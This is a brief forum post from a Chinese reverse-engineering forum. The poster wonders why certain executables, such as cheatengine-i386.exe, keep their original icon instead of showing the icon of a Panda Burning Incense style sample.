马云爱逛京东 发表于 2022-1-1 09:38
本帖最后由 马云爱逛京东 于 2022-1-1 09:39 编辑

有点好奇cheatengine-i386.exe这几个可执行文件图标为什么不会变成涛之雨(熊猫烧香)的样式
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-29 07:15

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表